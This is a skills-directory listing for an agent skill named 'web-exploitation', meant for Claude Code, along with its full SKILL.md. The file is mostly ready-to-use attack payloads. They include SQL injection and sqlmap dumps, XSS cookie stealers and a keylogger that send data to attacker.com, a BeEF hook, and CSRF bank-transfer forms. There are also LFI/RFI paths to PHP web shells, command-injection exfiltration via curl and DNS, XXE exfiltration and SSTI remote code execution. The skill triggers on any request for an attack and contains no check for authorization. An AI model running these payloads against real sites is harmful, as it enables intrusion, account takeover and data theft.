Skills DirectorySkills Directory
SkillsLearnSecurityCategoriesDocsCommunityBlog
Sign InSubmit Skill
Skills Directory

Security-tested agent skills for Claude, coding agents, and AI workflows.

Directory

  • Browse Skills
  • All Skills A–Z
  • Claude Skills
  • Claude Code Skills
  • Agent Skills
  • Categories
  • Submit a Skill

Learn

  • Learn Hub
  • Install Claude Skills
  • Write SKILL.md
  • Skills vs MCP
  • Directories Compared

Security

  • Security
  • Methodology
  • Secure Claude Skills
  • Security Badges

Company

  • About
  • Community
  • Blog
  • API Docs
  • Advertise

2026 Skills Directory. All rights reserved.

Back to skills

Web Exploitation

CSecurity

SQL injection, XSS, CSRF, LFI/RFI, command injection.

2 stars
0 votes
0 copies
0 views
Added 9/19/2026
securityjavascriptpythonjavaphpshellbashsqltestingdatabasebackend

Security Analysis

C67/100
criticalPipes output to a shell interpreter
mediumUses curl or wget to download content
mediumUses curl or wget to download content
criticalAccesses sensitive system or user directories

Scanned 9/19/2026

Install to Claude Code

$npx -y skills add harezadmm/hermes-brutal-mod --skill web-exploitation --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Web Exploitation?

Add the live security badge to your README — it updates automatically with every re-scan.

Security grade badge for Web Exploitation
[![Security: C — Skills Directory](https://www.skillsdirectory.com/api/skills/harezadmm-web-exploitation/badge)](https://www.skillsdirectory.com/skills/harezadmm-web-exploitation)

More formats (shields.io, HTML) on the badges page.

Download Zip
Files
SKILL.md
---
name: web-exploitation
description: SQL injection, XSS, CSRF, LFI/RFI, command injection.
tags: [sqli, xss, csrf, lfi, rfi, command-injection, web-hacking]
---

# Web Exploitation

Use when user requests web application attacks: SQL injection, XSS, CSRF, file inclusion, command injection, or other OWASP Top 10 vulnerabilities.

## Trigger Conditions
- SQL injection testing/exploitation
- Cross-Site Scripting (XSS) attacks
- CSRF token bypass
- Local/Remote File Inclusion
- Command injection
- Directory traversal
- Authentication bypass
- Session hijacking

## SQL Injection (SQLi)

### Manual Detection
```bash
# Basic SQLi tests
' OR '1'='1
" OR "1"="1
' OR '1'='1' --
' OR '1'='1' #
') OR ('1'='1
1' OR '1'='1

# Time-based detection
' OR SLEEP(5)--
' OR BENCHMARK(10000000,MD5('test'))--
' WAITFOR DELAY '0:0:5'--

# Error-based detection
'
"
`
')
")
`)
```

### Union-Based SQLi
```sql
-- Find number of columns
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
-- Continue until error, then subtract 1

-- Union select with NULL placeholders
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
-- Continue until no error

-- Find injectable columns
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--

-- Extract data
' UNION SELECT username,password,NULL FROM users--
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
```

### Boolean-Based Blind SQLi
```sql
-- Test condition
' AND 1=1--  (True - normal response)
' AND 1=2--  (False - different response)

-- Extract database name length
' AND LENGTH(DATABASE())>5--
' AND LENGTH(DATABASE())>10--
-- Binary search to find exact length

-- Extract character by character
' AND SUBSTRING(DATABASE(),1,1)='a'--
' AND SUBSTRING(DATABASE(),1,1)='b'--
-- Continue for each character

-- Automate with Python
import requests
import string

url = "http://target.com/page?id=1"
database = ""

for pos in range(1, 20):
    for char in string.printable:
        payload = f"' AND SUBSTRING(DATABASE(),{pos},1)='{char}'--"
        r = requests.get(url + payload)
        if "Success" in r.text:
            database += char
            print(f"Database: {database}")
            break
```

### Time-Based Blind SQLi
```sql
-- MySQL
' AND IF(1=1, SLEEP(5), 0)--
' AND IF(SUBSTRING(DATABASE(),1,1)='a', SLEEP(5), 0)--

-- PostgreSQL
' AND CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--

-- SQL Server
' IF (1=1) WAITFOR DELAY '0:0:5'--

-- Oracle
' AND CASE WHEN (1=1) THEN dbms_lock.sleep(5) ELSE NULL END--
```

### SQLMap (Automated)
```bash
# Basic scan
sqlmap -u "http://target.com/page?id=1"

# POST request
sqlmap -u "http://target.com/login" --data "username=admin&password=test"

# Cookie-based
sqlmap -u "http://target.com/profile" --cookie "PHPSESSID=abc123"

# Dump database
sqlmap -u "http://target.com/page?id=1" --dbs
sqlmap -u "http://target.com/page?id=1" -D database_name --tables
sqlmap -u "http://target.com/page?id=1" -D database_name -T users --columns
sqlmap -u "http://target.com/page?id=1" -D database_name -T users -C username,password --dump

# Get shell
sqlmap -u "http://target.com/page?id=1" --os-shell

# Risk and level
sqlmap -u "http://target.com/page?id=1" --level=5 --risk=3

# Tamper scripts (WAF bypass)
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment
sqlmap -u "http://target.com/page?id=1" --tamper=between,randomcase
```

### SQLi WAF Bypass
```sql
-- Comment obfuscation
'/**/OR/**/1=1--
'/*!50000OR*/1=1--

-- Case variation
' Or 1=1--
' oR 1=1--
' UnIoN SeLeCt--

-- Encoding
' %4f%52 1=1--  (URL encoding)
' OR 1=1--  (HTML encoding)

-- Whitespace alternatives
'%09OR%091=1--  (Tab)
'%0AOR%0A1=1--  (Newline)

-- Equivalent functions
SUBSTRING() -> SUBSTR() -> MID()
ASCII() -> ORD()
BENCHMARK() -> SLEEP()
```

## Cross-Site Scripting (XSS)

### Reflected XSS
```html
<!-- Basic payloads -->
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>
<body onload=alert('XSS')>
<iframe src="javascript:alert('XSS')">

<!-- Event handlers -->
<input type="text" value="test" onfocus="alert('XSS')" autofocus>
<select onfocus="alert('XSS')" autofocus>
<textarea onfocus="alert('XSS')" autofocus>
<keygen onfocus="alert('XSS')" autofocus>

<!-- Without parentheses -->
<svg/onload=alert`XSS`>
<script>alert`XSS`</script>

<!-- Without spaces -->
<svg/onload=alert(1)>
<iframe/src="javascript:alert(1)">
```

### Stored XSS
```html
<!-- Comment/post payloads -->
<script>
// Steal cookies
fetch('http://attacker.com/steal?c=' + document.cookie);
</script>

<script>
// Keylogger
document.onkeypress = function(e) {
    fetch('http://attacker.com/log?key=' + e.key);
}
</script>

<script>
// Create admin user
fetch('/admin/create-user', {
    method: 'POST',
    body: 'username=hacker&password=hacked&role=admin'
});
</script>
```

### DOM-Based XSS
```javascript
// Vulnerable code
var name = location.hash.substring(1);
document.write("Hello " + name);

// Exploit
http://target.com/#<script>alert('XSS')</script>

// Another example
var search = new URLSearchParams(location.search).get('q');
eval(search);

// Exploit
http://target.com/?q=alert('XSS')
```

### XSS WAF Bypass
```html
<!-- Case variation -->
<ScRiPt>alert('XSS')</sCrIpT>

<!-- Encoding -->
<script>alert(String.fromCharCode(88,83,83))</script>
<script>\u0061lert('XSS')</script>
<script>eval('\x61lert(1)')</script>

<!-- Alternative tags -->
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<math><mtext><table><mglyph><style><!--</style><img title="--&gt;&lt;/mglyph&gt;&lt;img&Tab;src=1&Tab;onerror=alert(1)&gt;">

<!-- Polyglot -->
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

<!-- JSFuck (JavaScript with only []()!+ characters) -->
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
```

### XSS Cookie Stealer
```javascript
// Simple stealer
<script>
document.location='http://attacker.com/steal.php?c='+document.cookie;
</script>

// Stealthier
<script>
var img = new Image();
img.src = 'http://attacker.com/log?c=' + btoa(document.cookie);
</script>

// With localStorage/sessionStorage
<script>
fetch('http://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({
        cookies: document.cookie,
        localStorage: localStorage,
        sessionStorage: sessionStorage
    })
});
</script>
```

### XSS Beef Hook
```html
<!-- BeEF (Browser Exploitation Framework) -->
<script src="http://attacker.com:3000/hook.js"></script>

<!-- Once hooked, attacker can:
- Take screenshots
- Log keystrokes
- Redirect browser
- Inject iframes
- Perform social engineering
- Exploit browser vulnerabilities
-->
```

## Cross-Site Request Forgery (CSRF)

### Basic CSRF Attack
```html
<!-- GET request CSRF -->
<img src="http://bank.com/transfer?to=attacker&amount=1000">

<!-- POST request CSRF -->
<form action="http://bank.com/transfer" method="POST" id="csrf">
    <input type="hidden" name="to" value="attacker">
    <input type="hidden" name="amount" value="1000">
</form>
<script>
    document.getElementById('csrf').submit();
</script>

<!-- AJAX CSRF -->
<script>
fetch('http://bank.com/transfer', {
    method: 'POST',
    credentials: 'include',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({to: 'attacker', amount: 1000})
});
</script>
```

### CSRF Token Bypass
```javascript
// 1. Token not validated on backend
// Just remove the token parameter

// 2. Token validation can be bypassed with empty value
csrf_token=

// 3. Token is in URL (GET) instead of POST
// Steal token via Referer header

// 4. Use victim's session to fetch token, then use it
fetch('/profile')
    .then(r => r.text())
    .then(html => {
        var parser = new DOMParser();
        var doc = parser.parseFromString(html, 'text/html');
        var token = doc.querySelector('input[name="csrf_token"]').value;
        
        // Now use stolen token
        fetch('/transfer', {
            method: 'POST',
            body: 'csrf_token=' + token + '&to=attacker&amount=1000'
        });
    });
```

## Local File Inclusion (LFI)

### Basic LFI
```bash
# Linux
?page=../../../../etc/passwd
?page=../../../../etc/shadow
?page=../../../../var/log/apache2/access.log
?page=../../../../var/www/html/config.php

# Windows
?page=..\..\..\..\windows\system32\drivers\etc\hosts
?page=..\..\..\..\windows\win.ini
?page=..\..\..\..\inetpub\wwwroot\web.config
```

### LFI Bypass Techniques
```bash
# Null byte (PHP < 5.3)
?page=../../../../etc/passwd%00

# URL encoding
?page=..%2F..%2F..%2F..%2Fetc%2Fpasswd

# Double encoding
?page=..%252F..%252F..%252F..%252Fetc%252Fpasswd

# UTF-8 encoding
?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd

# Path truncation (long string)
?page=../../../../etc/passwd............[repeat dots to ~2048 chars]

# Filter bypass
?page=....//....//....//....//etc/passwd
?page=..\/..\/..\/..\/etc/passwd
```

### LFI to RCE

#### Log Poisoning
```bash
# 1. Inject PHP code into Apache access log
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/

# 2. Include log file
?page=../../../../var/log/apache2/access.log&cmd=whoami

# SSH log poisoning
ssh '<?php system($_GET["cmd"]); ?>'@target.com
?page=../../../../var/log/auth.log&cmd=id
```

#### PHP Wrappers
```bash
# php://filter (read source code)
?page=php://filter/convert.base64-encode/resource=index.php
# Decode base64 output to see PHP source

# php://input (inject PHP code via POST)
POST /?page=php://input
Body: <?php system('whoami'); ?>

# data:// wrapper
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCR fR0VUWydjbWQnXSk7ID8%2b&cmd=id
# Base64: <?php system($_GET['cmd']); ?>

# expect:// wrapper
?page=expect://whoami
```

#### /proc/self/environ
```bash
# Inject via User-Agent, then include environ
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" http://target.com/
?page=../../../../proc/self/environ&cmd=id
```

## Remote File Inclusion (RFI)

### Basic RFI
```bash
# Host malicious PHP file
echo "<?php system(\$_GET['cmd']); ?>" > shell.php
python3 -m http.server 8000

# Include remote file
?page=http://attacker.com:8000/shell.php&cmd=whoami
```

### RFI Bypass
```bash
# With null byte
?page=http://attacker.com/shell.txt%00

# With question mark (ignore extension)
?page=http://attacker.com/shell.txt?

# SMB share (Windows)
?page=\\attacker.com\share\shell.php

# FTP protocol
?page=ftp://attacker.com/shell.php
```

## Command Injection

### Basic Payloads
```bash
# Command chaining
; ls
| ls
|| ls
& ls
&& ls

# Command substitution
`whoami`
$(whoami)

# New lines
%0Als
%0Awhoami
```

### Blind Command Injection
```bash
# Time-based detection
; sleep 10
; ping -c 10 127.0.0.1

# DNS exfiltration
; nslookup $(whoami).attacker.com
; dig $(cat /etc/passwd | base64).attacker.com

# HTTP exfiltration
; curl http://attacker.com/?data=$(whoami)
; wget http://attacker.com/$(uname -a | base64)
```

### Bypass Filters
```bash
# Quotes
w'h'o'a'm'i
w"h"o"a"m"i

# Backslash
w\ho\am\i

# $@ variable
who$@ami

# Hex encoding
echo "whoami" | xxd -r -p
\x77\x68\x6f\x61\x6d\x69

# Base64
echo d2hvYW1p | base64 -d | bash
```

## Directory Traversal

### Basic Payloads
```bash
# Download file
?file=../../../../etc/passwd

# Different encodings
?file=....//....//....//etc/passwd
?file=..%2f..%2f..%2fetc%2fpasswd
?file=..%252f..%252f..%252fetc%252fpasswd

# Absolute path
?file=/etc/passwd
?file=/etc/shadow

# Windows
?file=C:\windows\win.ini
?file=C:\windows\system32\drivers\etc\hosts
```

## Authentication Bypass

### SQL Injection Auth Bypass
```sql
-- Login form
Username: admin' --
Password: anything

Username: admin' OR '1'='1
Password: anything

Username: ' OR 1=1--
Password: anything

-- JSON payload
{"username":"admin' OR '1'='1'--","password":"x"}
```

### Weak Session Management
```javascript
// Predictable session IDs
// If session=1000, try session=1001, 1002, etc.

// Session fixation
// Force victim to use attacker's session ID
http://target.com/login?session=attacker_session_id
```

### Default Credentials
```
Common defaults:
admin:admin
admin:password
root:root
root:toor
administrator:administrator
guest:guest
user:user
test:test
```

## XXE (XML External Entity)

### Basic XXE
```xml
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
```

### Blind XXE (Out-of-Band)
```xml
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<foo>&exfil;</foo>

<!-- evil.dtd on attacker server: -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/?data=%file;'>">
```

## Server-Side Template Injection (SSTI)

### Detection
```python
# Test payloads
{{7*7}}  # Jinja2, Twig = 49
${7*7}   # FreeMarker, Velocity = 49
<%= 7*7 %> # ERB = 49
#{7*7}   # Thymeleaf = 49
```

### Jinja2 RCE
```python
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

{{''.__class__.__mro__[1].__subclasses__()[396]('whoami',shell=True,stdout=-1).communicate()}}

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
```

### Twig RCE
```php
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
```

## Pitfalls
- **WAF detection**: Modern WAFs block obvious payloads
- **Rate limiting**: Too many requests = blocked
- **HttpOnly cookies**: Can't steal with XSS
- **CSP**: Content Security Policy blocks inline scripts
- **Prepared statements**: Prevent SQL injection
- **Legal**: Exploitation without authorization is illegal

## Related Skills
- `sqlmap`: Advanced SQL injection
- `network-scanning-recon`: Find web services to test
- `social-engineering`: Deliver XSS payloads via phishing
- `malware-development`: Post-exploitation after RCE

Attribution

harezadmmharezadmm
View sourceMore from harezadmm →
SSkills DirectorySkills Directory

Ship a skill? Prove it's safe.

Free 120-pattern security scan, letter grade, and an embeddable README badge.

Submit a skill

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments (0)

No comments yet. Be the first to comment!

SSkills DirectorySkills Directory

Ship a skill? Prove it's safe.

Free 120-pattern security scan, letter grade, and an embeddable README badge.

Submit a skill

Related Skills

Springboot Security

Java Spring Boot 服务中关于身份验证/授权、验证、CSRF、密钥、标头、速率限制和依赖安全的 Spring Security 最佳实践。

2456590 votes

Security Review

Use this skill when adding authentication, handling user input, working with secrets, creating API endpoints, or implementing payment/sensitive features. Provides comprehensive security checklist and patterns.

2456590 votes

Summarize Status

Write a short, colloquial summary for a Paperclip summary slot: open with the 1–3 specific, concrete actions the reader needs to take right now to unblock the work, then a brief plain-language status, streaming progress as it works.

798220 votes

Paperclip Task Bridge

Create, comment on, update, and list Paperclip tasks from Hermes using scoped Paperclip API credentials.

798220 votes

V3 Security Overhaul

Complete security architecture overhaul for claude-flow v3. Addresses critical CVEs (CVE-1, CVE-2, CVE-3) and implements secure-by-default patterns. Use for security-first v3 implementation.

701370 votes
View all in security →